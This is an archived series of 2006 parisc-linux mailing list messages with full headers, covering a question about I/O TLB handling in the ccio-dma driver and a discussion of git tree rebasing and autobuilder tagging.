X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZCsdcmoAbGI0QqaDYmRnv3pncmZ1ZlxD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25333

Hello Grant,

I back port the sba sg list manager in ccio-dma on my d380 (not enough ti=
me to
test c110).

On one hand, it seems to improve a bit ncr53c720 behaviour: tar/rm loop t=
est
run longer (at least 2h in place of 5/10 min)

Otoh no change (may be even worse) for ncr53c710 and break secondary nic =
(the
setup of this card make panicing the system?)

That said, there are no public doc of this IO stuff and so I didn't chang=
e
those 2 hunks:
[snip]
static CCIO_INLINE void
ccio_clear_io_tlb(struct ioc *ioc, dma_addr_t iovp, size_t byte_cnt)
{
        u32 chain_size =3D 1 << ioc->chainid_shift;

        iovp &=3D IOVP_MASK;      /* clear offset bits, just want pagenum=
 */
        byte_cnt +=3D chain_size;

        while(byte_cnt > chain_size) {
                WRITE_U32(CMD_TLB_PURGE | iovp, &ioc->ioc_regs->io_comman=
d);   
                iovp +=3D chain_size;
                byte_cnt -=3D chain_size;
        }
}

[snip]

static void
ccio_ioc_init(struct ioc *ioc)
{
[snip]

        /*
        ** Initialize all I/O TLB entries to 0 (Valid bit off).
        */
        WRITE_U32(0, &ioc->ioc_regs->io_tlb_entry_m);
        WRITE_U32(0, &ioc->ioc_regs->io_tlb_entry_l);

        for(i =3D 1 << CCIO_CHAINID_SHIFT; i ; i--) {
                WRITE_U32((CMD_TLB_DIRECT_WRITE | (i << ioc->chainid_shif=
t)),
                          &ioc->ioc_regs->io_command);
        } 
}
...

About which cames to me 2 questions:
   1/ what is supposed to contain an io_tlb entry: a io (page size) addre=
ss
      as seems to say the value ("CMD_TLB_PURGE | iovp")
      in ccio_clear_io_tlb() or a memory page size should be splited in
      severall tlb entries per ioc->chainid_shift?

   2/ what is supposed to contain the ccio io_command register, I mean th=
at 
      I don't understand what seems to me to be different io_command
      contents for CMD_TLB_DIRECT_WRITE or CMD_TLB_PURGE?

If you still have (or access to) this internal doc, it would be great if =
you
could find some time to explain me those stuff.

TIA,
    Joel
=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devenez au=
jourd'hui Scarlet One grace a un client existant de Scarlet, vous recevez=
 tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur http:/=
/www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for git tree management
Date: Mon, 9 Oct 2006 13:39:58 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <7d01f9f00610090439g763c9260q257fad185bbdf326@mail.gmail.com>
References: <20061008004151.GZ2563@parisc-linux.org>
	<20061009032945.GB30517@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624607 27773 80.91.229.3 (22 Nov 2014 02:50:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Oct 2006 11:40:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 09 Oct 2006 13:40:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B2457D6FC;
	Mon,  9 Oct 2006 05:40:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08485-01; Mon, 9 Oct 2006 05:40:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02CA57D6FE;
	Mon,  9 Oct 2006 05:40:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D4BF7D6FB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Oct 2006 05:40:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07394-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 Oct 2006 05:40:45 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5E5507D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Oct 2006 05:40:45 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 22093494005; Mon,  9 Oct 2006 05:40:45 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from py-out-1112.google.com (py-out-1112.google.com [64.233.166.176])
	by mail.parisc-linux.org (Postfix) with ESMTP id BAA0149400A
	for <parisc-linux@parisc-linux.org>;
	Mon,  9 Oct 2006 05:40:01 -0600 (MDT)
Original-Received: by py-out-1112.google.com with SMTP id c39so2021107pyd
	for <parisc-linux@parisc-linux.org>;
	Mon, 09 Oct 2006 04:39:59 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=FC8SeW7hheOyEw78HG0OZE809U7kA/ZIfix89uW9nbUeTANu917seIEWQWqTbreVSp3eNAZgsdIZnppkbZlK9UYWq2sM5ZKb4B3i0Ezxm+wcsBolM3VZm0+YX2OqQKpPXZFRiHVc0jT4OzLIdQmdF8ydDBbSESTXduh3Ji2jyFY=
Original-Received: by 10.35.79.3 with SMTP id g3mr12649651pyl;
	Mon, 09 Oct 2006 04:39:58 -0700 (PDT)
Original-Received: by 10.35.35.3 with HTTP; Mon, 9 Oct 2006 04:39:58 -0700 (PDT)
In-Reply-To: <20061009032945.GB30517@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: dcfdd792b747c9f0
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fwwZfTRNMmApXLSZZGFnIUsxMjQ1N53Y
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25334

On 10/9/06, Grant Grundler <grundler@parisc-linux.org> wrote:
> On Sat, Oct 07, 2006 at 06:41:52PM -0600, Matthew Wilcox wrote:
> >
> > I think the git development model is working out pretty well.  We've
> > committed around 100 patches to our tree since we switched to using git.
> > Most of those have gone upstream, mostly through Kyle's hard work.
>
> Agreed - many kudos/thanks to kyle!

All hail Kyle indeed :)

> > The obvious solution is to rebase the tree.  We start a new origin
> > branch from point E and pull commit F onto it as commit F'.  But if we
> > delete the former origin branch we lose our history.
>
> I don't care so much about "our" history. I mostly care
> about the commit message(s) that end up in linus' tree.

Despite not being terribly active nowadays, I'd like to contrast this
view a little bit. "Our" history has proven very useful (at least to
me) in a number of cases (comes to mind the development of gscps2
input driver based on evolutions of hp_kbd.c and friends) and I
remember quite a few occasion where it was actually interesting to be
able to track down who committed any given bit of code (for some
reason I remember tracking down prumpf's commits in some well known
locking routine, among other things).

On a more "play the devil's advocate" side of things, i believe it's
of great importance to be able to track down when any given code was
first introduced and who committed it. Copyright issues such as the
SCO-induced shite are a good demonstration that being able to quickly
assert copyright/genealogy on any given bit is a good thing...

> > I'm concerned we may get an unreasonable number of branches using this
> > scheme.  Using a date (rather than a cardinal) helps understand how
> > relevant a branch may be.
>
> I think anything is ok if it helps us determine what's missing
> from linus' tree and ship those patches (when ready) to him.
> I'll probably end up ignoring the branches anyway.
>
> Please just make it "KISS". I'm only using git a few times per month
> and it's just not enough to do anything complicated right now.
> My goal is any git commits I make can (indirectly via kyle) go
> to linus without the confusion you described.

I'd also strongly support a KISS approach. Yet I was under the
impression that rebasing the tree would break any subsequent 'git
pull' on older trees, is that right?

Along those lines I'm also thinking that assuming we want to revive
our kernel autobuilder, we probably want to think of a git tree
architecture that will induce minimal man handling of the autobuilder
once started...

Just my 2c, well aware that I'm not paying enough attention to our
development process lately, and thus I may be full of sh*t  ;^)

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for git tree management
Date: Mon, 9 Oct 2006 12:06:52 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20061009180652.GB28254@parisc-linux.org>
References: <20061008004151.GZ2563@parisc-linux.org>
	<20061009032945.GB30517@colo.lackof.org>
	<7d01f9f00610090439g763c9260q257fad185bbdf326@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624608 27774 80.91.229.3 (22 Nov 2014 02:50:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Oct 2006 18:07:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 09 Oct 2006 20:07:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6115D7D6FB;
	Mon,  9 Oct 2006 12:07:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13761-01; Mon, 9 Oct 2006 12:07:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 18BA07D6FC;
	Mon,  9 Oct 2006 12:06:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC07D7D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Oct 2006 12:06:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13275-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 Oct 2006 12:06:53 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8925B7D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Oct 2006 12:06:53 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 54A1849400C; Mon,  9 Oct 2006 12:06:53 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 0B63D494009; Mon,  9 Oct 2006 12:06:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <7d01f9f00610090439g763c9260q257fad185bbdf326@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mftPNWkYZCEXX7GPamwhGvpwIGhpZUaG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25335

On Mon, Oct 09, 2006 at 01:39:58PM +0200, Thibaut VARENE wrote:
> >Please just make it "KISS". I'm only using git a few times per month
> >and it's just not enough to do anything complicated right now.
> >My goal is any git commits I make can (indirectly via kyle) go
> >to linus without the confusion you described.
> 
> I'd also strongly support a KISS approach. Yet I was under the
> impression that rebasing the tree would break any subsequent 'git
> pull' on older trees, is that right?

Yes.  And no.  It depends ;-)

If your refspec looks like this:

$ cat .git/remotes/origin 
URL: ssh://git.parisc-linux.org/var/git/linux-2.6.git
Pull: refs/heads/master:refs/heads/origin
Pull: refs/heads/linus:refs/heads/linus

then it's going to whinge about not being able to fast-forward.
However, if you add a +, like this:

Pull: +refs/heads/master:refs/heads/origin

then it'll update the ref, even if it's not a fast-forward.

> Along those lines I'm also thinking that assuming we want to revive
> our kernel autobuilder, we probably want to think of a git tree
> architecture that will induce minimal man handling of the autobuilder
> once started...

I agree, though I wouldn't expect rebasing to be a common operation
(every 2-3 months), it would suck to inadvertently break the autobuilder.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for git tree management
Date: Mon, 9 Oct 2006 14:15:52 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20061009181551.GA3354@athena.road.mcmartin.ca>
References: <20061008004151.GZ2563@parisc-linux.org>
	<20061009032945.GB30517@colo.lackof.org>
	<7d01f9f00610090439g763c9260q257fad185bbdf326@mail.gmail.com>
	<20061009180652.GB28254@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624608 27779 80.91.229.3 (22 Nov 2014 02:50:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Oct 2006 18:16:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 09 Oct 2006 20:16:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D1207D6FB;
	Mon,  9 Oct 2006 12:16:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13816-07; Mon, 9 Oct 2006 12:16:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3DFAA7D6FE;
	Mon,  9 Oct 2006 12:16:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93C327D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Oct 2006 12:16:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13761-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 Oct 2006 12:16:04 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 614E17D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Oct 2006 12:16:04 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 24A1A49400A; Mon,  9 Oct 2006 12:16:04 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id CE8DF494009
	for <parisc-linux@parisc-linux.org>;
	Mon,  9 Oct 2006 12:15:55 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C35BC584090;
	Mon,  9 Oct 2006 14:15:52 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 599AE58408C;
	Mon,  9 Oct 2006 14:15:52 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 04AB1837DB;
	Mon,  9 Oct 2006 14:15:52 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 42F853B06E; Mon,  9 Oct 2006 14:15:52 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20061009180652.GB28254@parisc-linux.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vNdML2kPaHI+XKWnKSUlrsNqamdhZARP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25336

On Mon, Oct 09, 2006 at 12:06:52PM -0600, Matthew Wilcox wrote:
> I agree, though I wouldn't expect rebasing to be a common operation
> (every 2-3 months), it would suck to inadvertently break the autobuilder.
>

if we queue the autobuilder based on tags, even if we rebase, we will never
have an issue, since git-prune will only remove unreachable commits. as long
as we have a tag for the pre-rebased commits, they'll never be removed, which
is the desired behaviour (since the autobuilder will always be able to check
them out.)

cheers,
	kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 562] m68k/HP300: Enable HIL configuration
	options
Date: Mon, 9 Oct 2006 22:22:37 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <200610092022.k99KMbtC031450__39588.7131257497$1416624608$gmane$org@anakin.of.borg>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624608 27795 80.91.229.3 (22 Nov 2014 02:50:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:08 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
 Linux Kernel Development <linux-kernel@vger.kernel.org>,
 Linux/PA-RISC <parisc-linux@parisc-linux.org>
To: Linus Torvalds <torvalds@osdl.org>,
 Andrew Morton <akpm@osdl.org>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Oct 2006 23:42:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 10 Oct 2006 01:42:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD3327D6FA;
	Mon,  9 Oct 2006 17:42:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17213-03; Mon, 9 Oct 2006 17:42:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92CBF7D6CA;
	Mon,  9 Oct 2006 17:42:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C36D17D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Oct 2006 17:42:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15735-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 Oct 2006 17:42:35 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 85AF57D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Oct 2006 17:42:35 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 46E6249400A; Mon,  9 Oct 2006 17:42:35 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id 1F97D494009
	for <parisc-linux@parisc-linux.org>;
	Mon,  9 Oct 2006 17:42:35 -0600 (MDT)
Original-Received: from asia.telenet-ops.be (asia.telenet-ops.be [195.130.137.74])
	by cuprel1.hp.com (Postfix) with ESMTP id B52F3655D
	for <parisc-linux@parisc-linux.org>;
	Mon,  9 Oct 2006 13:22:47 -0700 (PDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by asia.telenet-ops.be (Postfix) with SMTP id 39524D4182;
	Mon,  9 Oct 2006 22:22:42 +0200 (CEST)
Original-Received: from anakin.of.borg (d54C15EC0.access.telenet.be [84.193.94.192])
	by asia.telenet-ops.be (Postfix) with ESMTP id DB4FED41A3;
	Mon,  9 Oct 2006 22:22:41 +0200 (CEST)
Original-Received: from anakin.of.borg (localhost [127.0.0.1])
	by anakin.of.borg (8.13.8/8.13.8/Debian-2) with ESMTP id k99KMfrg031451
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Mon, 9 Oct 2006 22:22:41 +0200
Original-Received: (from geert@localhost)
	by anakin.of.borg (8.13.8/8.13.8/Submit) id k99KMbtC031450;
	Mon, 9 Oct 2006 22:22:37 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
